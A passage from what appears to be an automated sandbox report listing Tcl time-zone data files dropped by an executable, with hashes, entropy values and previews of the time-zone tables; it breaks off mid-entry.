Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6593
Entropy (8bit):	3.795313170000037
Encrypted:	false
SSDEEP:	96:LJNfzBT8tRkfKxhzY720zaOXmlITHjLc1cb:dN18tRkfKv+2wB9h
MD5:	B0CA4CFF6571AFBFF25FAC72CDDB5B08
SHA1:	1BF3ACEC369AEA504AAA248459A115E61CF79C4B
SHA-256:	C689A3BEED80D26EAB96C95C85874428F80699F7E136A44377776E52B5855D00
SHA-512:	398496EBA4344EDF78AFBF51BD6024481D3A12546D0EE597B7C593A1CD1BF575AFDE62FFADE7A0DDFEDA79CF235612E6F4DA74D7305A6E48F5942EA10D8A4F8E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Chihuahua) {. {-9223372036854775808 -25460 0 LMT}. {-1514739600 -25200 0 MST}. {-1343066400 -21600 0 CST}. {-1234807200 -25200 0 MST}. {-1220292000 -21600 0 CST}. {-1207159200 -25200 0 MST}. {-1191344400 -21600 0 CST}. {820476000 -21600 0 CST}. {828864000 -18000 1 CDT}. {846399600 -21600 0 CST}. {860313600 -18000 1 CDT}. {877849200 -21600 0 CST}. {883634400 -21600 0 CST}. {891766800 -21600 0 MDT}. {909302400 -25200 0 MST}. {923216400 -21600 1 MDT}. {941356800 -25200 0 MST}. {954666000 -21600 1 MDT}. {972806400 -25200 0 MST}. {989139600 -21600 1 MDT}. {1001836800 -25200 0 MST}. {1018170000 -21600 1 MDT}. {1035705600 -25200 0 MST}. {1049619600 -21600 1 MDT}. {1067155200 -25200 0 MST}. {1081069200 -21600 1 MDT}. {1099209600 -25200 0 MST}. {1112518800 -21600 1 MDT}. {1130659200 -25200 0 MST}. {1143968400 -21600 1 MDT}. {1162108800 -25

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Coral_Harbour

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.822360211437507
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/qlfSwFVAIgp/qlfAvt2909qEac90/qlfu:MBaIMY/TwQp/tvt290Fac90/j
MD5:	2541EC94D1EA371AB1361118EEC98CC6
SHA1:	950E460C1BB680B591BA3ADA0CAA73EF07C229FE
SHA-256:	50E6EE06C0218FF19D5679D539983CEB2349E5D25F67FD05E142921431DC63D6
SHA-512:	2E6B66815565A9422015CAB8E972314055DC4141B5C21B302ABD671F30D0FBAE1A206F3474409826B65C30EDBEDD46E92A99251AB6316D59B09FC5A8095E7562
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Atikokan)]} {. LoadTimeZoneFile America/Atikokan.}.set TZData(:America/Coral_Harbour) $TZData(:America/Atikokan).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Cordoba

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	214
Entropy (8bit):	4.74004515366486
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7/MdVAIgp/MOF29093+90/Msn:MBaIMY/M4p/MOF290c90/Ms
MD5:	89870B2001C2EE737755A692E7CA2F18
SHA1:	F67F6C22BF681C105068BEEB494A59B3809C5ED8
SHA-256:	38C3DD7DAF75DBF0179DBFC387CE7E64678232497AF0DACF35DC76050E9424F7
SHA-512:	EFA8A5A90BE6FAAA7C6F5F39CBBBA3C7D44C7943E1BB1B0F7E966FEE4F00F0E4BF1D999A377D4E5230271B120B059EB020BD93E7DA46CF1FFA54AB13D7EC3FFE
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Argentina/Cordoba)]} {. LoadTimeZoneFile America/Argentina/Cordoba.}.set TZData(:America/Cordoba) $TZData(:America/Argentina/Cordoba).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Costa_Rica

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	416
Entropy (8bit):	4.443696146912203
Encrypted:	false
SSDEEP:	12:MBp5290l0TmdHd5PZ6kibvI8/uFn/mSU/uFn/i/uFn/4Y8/uFn//DVn:cQmAed9Z6n5Sn/mtSn/iSn/4JSn/bh
MD5:	D47A1FBA5AD701E1CA168A356D0DA0A9
SHA1:	6738EA6B4F54CC76B9723917AA373034F6865AF1
SHA-256:	51F08C1671F07D21D69E2B7868AA5B9BDBFA6C31D57EB84EB5FF37A06002C5CD
SHA-512:	DB6AD81466500F22820941DF3369155BA03CFA42FA9D267984A28A6D15F88E1A71625E3DC578370B5F97727355EBB7C338482FA33A7701ADB85A160C09BAD232
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Costa_Rica) {. {-9223372036854775808 -20173 0 LMT}. {-2524501427 -20173 0 SJMT}. {-1545071027 -21600 0 CST}. {288770400 -18000 1 CDT}. {297234000 -21600 0 CST}. {320220000 -18000 1 CDT}. {328683600 -21600 0 CST}. {664264800 -18000 1 CDT}. {678344400 -21600 0 CST}. {695714400 -18000 1 CDT}. {700635600 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Creston

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	4.798554218839104
Encrypted:	false
SSDEEP:	6:SlSWB9X52909ovTm2OHpcHvvPagcyEXC/vHcQCi:MBp52900mdHpcHPagPECvHl
MD5:	9E3726148A53940507998FA1A5EEE6DB
SHA1:	2493B72DF895ED2AE91D09D43BDDADDB41E4DEBC
SHA-256:	E809F227E92542C6FB4BAC82E6079661EEF7700964079AA4D7E289B5B400EC49
SHA-512:	F5ED4085160A06DE672DB93CEE700C420D0438DE9AC3548B291DA236AA8CCC84F97270DA3956E49432AE1E281CCECEB6DF92E71EB305106655B4DF231E04B558
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Creston) {. {-9223372036854775808 -27964 0 LMT}. {-2713882436 -25200 0 MST}. {-1680454800 -28800 0 PST}. {-1627833600 -25200 0 MST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Cuiaba

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7771
Entropy (8bit):	3.7617088302190878
Encrypted:	false
SSDEEP:	192:H1M1w141C1f1t1m1B121C1+1u181u1g1c1m181Q1b171M13191H1L1w151i1M1Tc:V0AI6tzW/m6O+k+wEWkgRx0FDVBAXa04
MD5:	7ABE7E5CA88C79F45BB69CA5FFA31CE0
SHA1:	B8F114F908B63085053B21DFCB6E90FB904F5054
SHA-256:	5A64F2243FCC2CD7E691FFD45AC9ECA6BF0094ADAD2039A7F0D05D4CD79E2A6A
SHA-512:	853B7B36E772AD7F7A74BEE2D3A4422E6850A1EDC1181F0D9C13DCFA822812DEBD862FA1257B894F2445302D4E6DC7775952298FB9A66A739AF84195AD68FB4D
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Cuiaba) {. {-9223372036854775808 -13460 0 LMT}. {-1767212140 -14400 0 AMT}. {-1206954000 -10800 1 AMST}. {-1191358800 -14400 0 AMT}. {-1175371200 -10800 1 AMST}. {-1159822800 -14400 0 AMT}. {-633816000 -10800 1 AMST}. {-622065600 -14400 0 AMT}. {-602280000 -10800 1 AMST}. {-591829200 -14400 0 AMT}. {-570744000 -10800 1 AMST}. {-560206800 -14400 0 AMT}. {-539121600 -10800 1 AMST}. {-531349200 -14400 0 AMT}. {-191361600 -10800 1 AMST}. {-184194000 -14400 0 AMT}. {-155160000 -10800 1 AMST}. {-150066000 -14400 0 AMT}. {-128894400 -10800 1 AMST}. {-121122000 -14400 0 AMT}. {-99950400 -10800 1 AMST}. {-89586000 -14400 0 AMT}. {-68414400 -10800 1 AMST}. {-57963600 -14400 0 AMT}. {499752000 -10800 1 AMST}. {511239600 -14400 0 AMT}. {530596800 -10800 1 AMST}. {540270000 -14400 0 AMT}. {562132800 -10800 1 AMST}. {571201200 -14400 0 AMT}. {5

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Curacao

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.902826505851901
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52IAcGE9CvjEwcXGm2OHCevUd5xF9vFVFkEiQG3VFpRR/vwvYv:SlSWB9X52909C4wTm2OHjyxzF8WUF/RD
MD5:	BB167EA9048274395066008EEC00F0F6
SHA1:	E3BA9EB1A3DB110E55CAF53ED6C4AFC95CBDF54D
SHA-256:	1200BDE9BEFD7AD388ACF4C7AD7285CC72FF06454B281116BDB12F869C5EE205
SHA-512:	9A9AAE95295AD0E824D19E1069627972B63C143102379C79A0F46EDB8E22261AC338C4316A16F48F46F6DD0E856A73C3D476AEBDC3DD0F9F7AB0CD257D3F55E4
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Curacao) {. {-9223372036854775808 -16547 0 LMT}. {-1826738653 -16200 0 ANT}. {-157750200 -14400 0 AST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Danmarkshavn

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1105
Entropy (8bit):	4.067921329211614
Encrypted:	false
SSDEEP:	24:cQZeXmTWP3n1/EOXT9vjwF97pWEEhcSXCLFg:5imTWPX1/pRvjwF97p3EbYFg
MD5:	A1B64D8D13A8588194BBE01118B336B8
SHA1:	FEFFFE122AAD6AC92383B93CEC33AEBE9CBAC048
SHA-256:	4CDA1CFD04480F2E75319AFD1F7E58319746169FF64A46F51AD03694E6FEC6D8
SHA-512:	24774A35CF7AC2182C2550F8ABCC4BA226352E4FFCA1EF09013A213BB219CC17BE201E0EB37C9695C2090CEEDDBB179FAB6AC44C52A7F26788D5B025AE84BE73
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Danmarkshavn) {. {-9223372036854775808 -4480 0 LMT}. {-1686091520 -10800 0 WGT}. {323845200 -7200 0 WGST}. {338950800 -10800 0 WGT}. {354675600 -7200 1 WGST}. {370400400 -10800 0 WGT}. {386125200 -7200 1 WGST}. {401850000 -10800 0 WGT}. {417574800 -7200 1 WGST}. {433299600 -10800 0 WGT}. {449024400 -7200 1 WGST}. {465354000 -10800 0 WGT}. {481078800 -7200 1 WGST}. {496803600 -10800 0 WGT}. {512528400 -7200 1 WGST}. {528253200 -10800 0 WGT}. {543978000 -7200 1 WGST}. {559702800 -10800 0 WGT}. {575427600 -7200 1 WGST}. {591152400 -10800 0 WGT}. {606877200 -7200 1 WGST}. {622602000 -10800 0 WGT}. {638326800 -7200 1 WGST}. {654656400 -10800 0 WGT}. {670381200 -7200 1 WGST}. {686106000 -10800 0 WGT}. {701830800 -7200 1 WGST}. {717555600 -10800 0 WGT}. {733280400 -7200 1 WGST}. {749005200 -10800 0 WGT}. {764730000 -7200 1 WGST}. {780

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Dawson

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7609
Entropy (8bit):	3.785302701923574
Encrypted:	false
SSDEEP:	96:nxr+C2ZCHtffWsBNwj/lpmlOxGcKcnRH31t+ucgge:nx/Nf+aNwj/lpmlOxnKcndIG
MD5:	4DBA9C83ECAD5B5A099CC1AA78D391B0
SHA1:	FFCC77D7964BD16BD8A554FB437BCF4F2FC8958E
SHA-256:	3A89A6834DDBE4A3A6A1CB8C1A1F9579259E7FD6C6C55DE21DCD4807753D8E48
SHA-512:	21212AFE8917C0F3BBED433B510C4FCE671B0DA887A1C7338A18CD5409B1A95E766510A9E636E5AA3AB0BA21D7D2C00A462FEBB10D4567A343B85AFE6A3E2394
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Dawson) {. {-9223372036854775808 -33460 0 LMT}. {-2188996940 -32400 0 YST}. {-1632056400 -28800 1 YDT}. {-1615125600 -32400 0 YST}. {-1596978000 -28800 1 YDT}. {-1583164800 -32400 0 YST}. {-880203600 -28800 1 YWT}. {-769395600 -28800 1 YPT}. {-765381600 -32400 0 YST}. {-147884400 -25200 1 YDDT}. {-131554800 -32400 0 YST}. {315561600 -28800 0 PST}. {325677600 -25200 1 PDT}. {341398800 -28800 0 PST}. {357127200 -25200 1 PDT}. {372848400 -28800 0 PST}. {388576800 -25200 1 PDT}. {404902800 -28800 0 PST}. {420026400 -25200 1 PDT}. {436352400 -28800 0 PST}. {452080800 -25200 1 PDT}. {467802000 -28800 0 PST}. {483530400 -25200 1 PDT}. {499251600 -28800 0 PST}. {514980000 -25200 1 PDT}. {530701200 -28800 0 PST}. {544615200 -25200 1 PDT}. {562150800 -28800 0 PST}. {576064800 -25200 1 PDT}. {594205200 -28800 0 PST}. {607514400 -25200 1 PDT}

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Dawson_Creek

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1876
Entropy (8bit):	3.9458112723626755
Encrypted:	false
SSDEEP:	24:cQ4eJ58IlJ14RsT8X+km8VnynhBZ2c4Y+O4A5W5xDICW2n7oZA8QZFaIOvkty1H2:5DH0yIRkf12fZGJ5LB6xfZ89Y
MD5:	D7E4978775F290809B7C042674F46903
SHA1:	E94DB1EBB6A1594ED1A5AEA48B52395482D06085
SHA-256:	2E6CFFE8E0C1FE93F55B1BD01F96AA1F3CE645BC802C061CB4917318E30C4494
SHA-512:	1FF3CD58A4C4DEC7538F0816E93E6577C51B0045CF36190FF4D327E81FB8282ADDB0EF20BD78A838ABD507EBAD1C187F2A20CC7840E2325B9C326EC449897B45
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Dawson_Creek) {. {-9223372036854775808 -28856 0 LMT}. {-2713881544 -28800 0 PST}. {-1632060000 -25200 1 PDT}. {-1615129200 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-725817600 -28800 0 PST}. {-715788000 -25200 1 PDT}. {-702486000 -28800 0 PST}. {-684338400 -25200 1 PDT}. {-671036400 -28800 0 PST}. {-652888800 -25200 1 PDT}. {-639586800 -28800 0 PST}. {-620834400 -25200 1 PDT}. {-608137200 -28800 0 PST}. {-589384800 -25200 1 PDT}. {-576082800 -28800 0 PST}. {-557935200 -25200 1 PDT}. {-544633200 -28800 0 PST}. {-526485600 -25200 1 PDT}. {-513183600 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-386780400 -28800 0 PST}. {-

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Denver

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8629
Entropy (8bit):	3.76966035849006
Encrypted:	false
SSDEEP:	96:4cGbc2sGm+4I1zXN+C2mWBNQMsmNTxf6AeO+cblX:4c2dVUC2mWBNwWTxyWR
MD5:	F641A7F5DE8FCF4ADC1E5A1A2C9DEC53
SHA1:	B013EBBE8002C91C0C45A2D389245A1A9194077A
SHA-256:	DF5459068DB3C771E41BE8D62FB89A2822CB2A33CF9A5640C6C666AB20ECE608
SHA-512:	C2EA07FF21FD6D1A45A87C6AD85DD3929C2B56E66A52D23103DDFF7B2B3B6433EC5EBFC17BED0F9C0A9AF036F0DF965E12EA3D4463207A128AEF5F6BC12970D7
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Denver) {. {-9223372036854775808 -25196 0 LMT}. {-2717643600 -25200 0 MST}. {-1633273200 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1601823600 -21600 1 MDT}. {-1583683200 -25200 0 MST}. {-1577898000 -25200 0 MST}. {-1570374000 -21600 1 MDT}. {-1551628800 -25200 0 MST}. {-1538924400 -21600 1 MDT}. {-1534089600 -25200 0 MST}. {-883587600 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-757357200 -25200 0 MST}. {-147884400 -21600 1 MDT}. {-131558400 -25200 0 MST}. {-116434800 -21600 1 MDT}. {-100108800 -25200 0 MST}. {-94669200 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-52930800 -21600 1 MDT}. {-37209600 -25200 0 MST}. {-21481200 -21600 1 MDT}. {-5760000 -25200 0 MST}. {9968400 -21600 1 MDT}. {25689600 -25200 0 MST}. {41418000 -21600 1 MDT}. {57744000 -25200

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Detroit

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8068
Entropy (8bit):	3.7425385734246395
Encrypted:	false
SSDEEP:	96:FVzAL/QaC3Xm8sHRwvOTFhP5S+ijFnRaJeaX1eyDt:FVsLQrn+qvOTFhPI1jFIL
MD5:	7FE983DC88FDC4978CD0527052A5A5C8
SHA1:	DC9193B5BE70D1E36B595B94AF9FFCF0FBC2D3AF
SHA-256:	0FA6CF7F37C95E9E1FEA517057DCB9A9F31DE73C56865DB260CB9BB8C558E8D1
SHA-512:	825C8BA13359A214F2CF227A5A8DEF57FD34CFFAD824868C2CD82659C36611A43EE74C20BA683A6F18E7EF937F0A76C32F96E3FF812161F45AA59347E0BCFAD2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Detroit) {. {-9223372036854775808 -19931 0 LMT}. {-2051202469 -21600 0 CST}. {-1724083200 -18000 0 EST}. {-883594800 -18000 0 EST}. {-880218000 -14400 1 EWT}. {-769395600 -14400 1 EPT}. {-765396000 -18000 0 EST}. {-757364400 -18000 0 EST}. {-684349200 -14400 1 EDT}. {-671047200 -18000 0 EST}. {-80499600 -14400 1 EDT}. {-68666400 -18000 0 EST}. {94712400 -18000 0 EST}. {104914800 -14400 1 EDT}. {120636000 -18000 0 EST}. {126687600 -14400 1 EDT}. {152085600 -18000 0 EST}. {157784400 -18000 0 EST}. {167814000 -14400 0 EDT}. {183535200 -18000 0 EST}. {199263600 -14400 1 EDT}. {215589600 -18000 0 EST}. {230713200 -14400 1 EDT}. {247039200 -18000 0 EST}. {262767600 -14400 1 EDT}. {278488800 -18000 0 EST}. {294217200 -14400 1 EDT}. {309938400 -18000 0 EST}. {325666800 -14400 1 EDT}. {341388000 -18000 0 EST}. {357116400 -14400 1 EDT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Dominica

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	203
Entropy (8bit):	4.856609165175433
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y7eoFVAIgpeX290TL3290e/:MBaIMY9QpI290Tr290O
MD5:	F85ADC16127A74C9B35D16C631E11F4F
SHA1:	F7716E20F546AA04697FB0F4993A14BAFDD1825E
SHA-256:	67ACF237962E3D12E0C746AEDC7CDBC8579DC7C0A7998AC6B6E169C58A687C17
SHA-512:	89E8F9DC6A306912B2DAEE77705E2DCD76E32F403352C23ED6BE34F8BEBB12C3604C20DA11DB921553D20E3FC43EC7984C7103D8D1396AB83B104E70BA6D13B1
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Port_of_Spain)]} {. LoadTimeZoneFile America/Port_of_Spain.}.set TZData(:America/Dominica) $TZData(:America/Port_of_Spain).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Edmonton

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8435
Entropy (8bit):	3.7724320820194475
Encrypted:	false
SSDEEP:	96:7tGVgeb0Gm+qI1zXN+C2mWBNQMsmNTxf6AeO+cblX:7heJ/UC2mWBNwWTxyWR
MD5:	FECBDD64036247B2FBB723ADD8F798F6
SHA1:	60B1719958AD6151CDB174A319A396D5F48C7CF1
SHA-256:	EC95041E0A97B37A60EF16A6FA2B6BCB1EBEFABBC9468B828D0F467595132BC2
SHA-512:	7CF94EC5040F4C8FA3C6ED30CFDAB59A199C18AA0CDA9A66D1A477F15563D2B7CB872CEEF1E2295E0F3B9A85508A03AEC29E3ECEBE11D9B089A92794D510BA00
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Edmonton) {. {-9223372036854775808 -27232 0 LMT}. {-1998663968 -25200 0 MST}. {-1632063600 -21600 1 MDT}. {-1615132800 -25200 0 MST}. {-1600614000 -21600 1 MDT}. {-1596816000 -25200 0 MST}. {-1567954800 -21600 1 MDT}. {-1551628800 -25200 0 MST}. {-1536505200 -21600 1 MDT}. {-1523203200 -25200 0 MST}. {-1504450800 -21600 1 MDT}. {-1491753600 -25200 0 MST}. {-1473001200 -21600 1 MDT}. {-1459699200 -25200 0 MST}. {-880210800 -21600 1 MWT}. {-769395600 -21600 1 MPT}. {-765388800 -25200 0 MST}. {-715791600 -21600 1 MDT}. {-702489600 -25200 0 MST}. {-84380400 -21600 1 MDT}. {-68659200 -25200 0 MST}. {-21481200 -21600 1 MDT}. {-5760000 -25200 0 MST}. {73472400 -21600 1 MDT}. {89193600 -25200 0 MST}. {104922000 -21600 1 MDT}. {120643200 -25200 0 MST}. {136371600 -21600 1 MDT}. {152092800 -25200 0 MST}. {167821200 -21600 1 MDT}. {183542400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Eirunepe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1204
Entropy (8bit):	4.002813077550268
Encrypted:	false
SSDEEP:	24:cQOX9eptVwss/uS+L/ux+y/up+a/uj+Ne/ud+Rs/uX4+G/u43+a/uo8+h/u1F+E6:5OXUCsQt8uqwd4rghFGRhGj+tX1R+fGV
MD5:	FE8C264F158AC2CFCDD84B6F19B289FD
SHA1:	520680554C4158EFDCC9C22CE1CADF7333D3086A
SHA-256:	31C865E8706450440DB39B18236A60B33326D33D288BD0EB7FCB220A9DB1AB42
SHA-512:	2985F8905C1FC3DD54BFD2D166CBF8621A18A19F95989BC24E0D7FF28700AF3230117B6EAA8D35200C7FE0A41AE3DE328C5D795F551B424AFFFDDBD2B8EBDDF0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Eirunepe) {. {-9223372036854775808 -16768 0 LMT}. {-1767208832 -18000 0 ACT}. {-1206950400 -14400 1 ACST}. {-1191355200 -18000 0 ACT}. {-1175367600 -14400 1 ACST}. {-1159819200 -18000 0 ACT}. {-633812400 -14400 1 ACST}. {-622062000 -18000 0 ACT}. {-602276400 -14400 1 ACST}. {-591825600 -18000 0 ACT}. {-570740400 -14400 1 ACST}. {-560203200 -18000 0 ACT}. {-539118000 -14400 1 ACST}. {-531345600 -18000 0 ACT}. {-191358000 -14400 1 ACST}. {-184190400 -18000 0 ACT}. {-155156400 -14400 1 ACST}. {-150062400 -18000 0 ACT}. {-128890800 -14400 1 ACST}. {-121118400 -18000 0 ACT}. {-99946800 -14400 1 ACST}. {-89582400 -18000 0 ACT}. {-68410800 -14400 1 ACST}. {-57960000 -18000 0 ACT}. {499755600 -14400 1 ACST}. {511243200 -18000 0 ACT}. {530600400 -14400 1 ACST}. {540273600 -18000 0 ACT}. {562136400 -14400 1 ACST}. {571204800 -18000 0 ACT}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\El_Salvador

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	269
Entropy (8bit):	4.7060952459188305
Encrypted:	false
SSDEEP:	6:SlSWB9X529078iwTm2OHvJ4YRIgdrV/uFn/acD3/uFn/sVn:MBp5290785mdHx4YlB/uFn/z/uFn/U
MD5:	77BE2E0759A3B7227B4DAC601A670D03
SHA1:	1FB09211F291E5B1C5CC9848EB53106AF48EE830
SHA-256:	40994535FE02326EA9E373F54CB60804BA7AE7162B52EA5F73497E7F72F2D482
SHA-512:	EB5E6A4A912053E399F6225A02DDC524A223D4A5724165CAD9009F1FA10B042F971E52CE17B395A86BC80FCC6897FD2CCC3B00708506FEF39E4D71812F5DF595
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/El_Salvador) {. {-9223372036854775808 -21408 0 LMT}. {-1546279392 -21600 0 CST}. {547020000 -18000 1 CDT}. {559717200 -21600 0 CST}. {578469600 -18000 1 CDT}. {591166800 -21600 0 CST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Ensenada

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.786739478919165
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqx0qfSwVAIg20qfo2IAcGE7JM7QIAcGEqfu:SlSWB9IZaM3y7eHVAIgpeo2907390eu
MD5:	74AB4664E80A145D808CAB004A22859B
SHA1:	2AF7665C4E155A227B3F76D1C4BC87854C25A6CB
SHA-256:	BDD0893AA5D170F388B1E93CE5FE2EDF438866707E52033E49898AFC499F86C5
SHA-512:	CCC2E75E07BA1CAAFD1149A22D07668D191594272922AA2A1CE6DE628A8FF49AD90AA8BFE75C005328820C700B991AD87A6F40DEB5AD519B2708D8F7BF04E5A0
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(America/Tijuana)]} {. LoadTimeZoneFile America/Tijuana.}.set TZData(:America/Ensenada) $TZData(:America/Tijuana).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Fort_Nelson

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4427
Entropy (8bit):	3.8109873978594053
Encrypted:	false
SSDEEP:	48:5aIl06OIRkf12fZGJ5LB6xfZ89Cf5udCLA9ZClqs/K+ff0t9:sIlWf/5LB6xR89C8CgZCHtffW9
MD5:	90BBD338049233FAC5596CC63AA0D5B6
SHA1:	D96282F5B57CBF823D5A1C1FDDE7907B74DAD770
SHA-256:	DD21597BA97FD6591750E83CC00773864D658F32653017C4B52285670FFE52E3
SHA-512:	3B0F5801E55EBBB7B4C0F74DDBD3469B8F4C2BFC1B44CC80B0D36DA2152C837C8176695945F61FA75664C04F1266BCA0564815307A2C27E783CD3348C4451E4A
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:America/Fort_Nelson) {. {-9223372036854775808 -29447 0 LMT}. {-2713880953 -28800 0 PST}. {-1632060000 -25200 1 PDT}. {-1615129200 -28800 0 PST}. {-880207200 -25200 1 PWT}. {-769395600 -25200 1 PPT}. {-765385200 -28800 0 PST}. {-757353600 -28800 0 PST}. {-725817600 -28800 0 PST}. {-715788000 -25200 1 PDT}. {-702486000 -28800 0 PST}. {-684338400 -25200 1 PDT}. {-671036400 -28800 0 PST}. {-652888800 -25200 1 PDT}. {-639586800 -28800 0 PST}. {-620834400 -25200 1 PDT}. {-608137200 -28800 0 PST}. {-589384800 -25200 1 PDT}. {-576082800 -28800 0 PST}. {-557935200 -25200 1 PDT}. {-544633200 -28800 0 PST}. {-526485600 -25200 1 PDT}. {-513183600 -28800 0 PST}. {-495036000 -25200 1 PDT}. {-481734000 -28800 0 PST}. {-463586400 -25200 1 PDT}. {-450284400 -28800 0 PST}. {-431532000 -25200 1 PDT}. {-418230000 -28800 0 PST}. {-400082400 -25200 1 PDT}. {-3

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\America\Fort_Wayne

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.730673843485836
Encrypted:	false
SSDEEP:	6:SlSWB9IZaM3y73GK7mFVAIgp3GKBL290HXYAp4903GK1:MBaIMY3GK7Hp3GKBL290Hz4903GK1
MD5:	4685E4E850E0B6669F72B8E1B4314A0A
SHA1:	BC6CCD58A2977A1E125B21D7B8FD57E800E624E1
SHA-256:	D35F335D6F575F95CEA4FF53382C0BE0BE94BE7EB8B1E0CA3B7C50E8F7614E4E
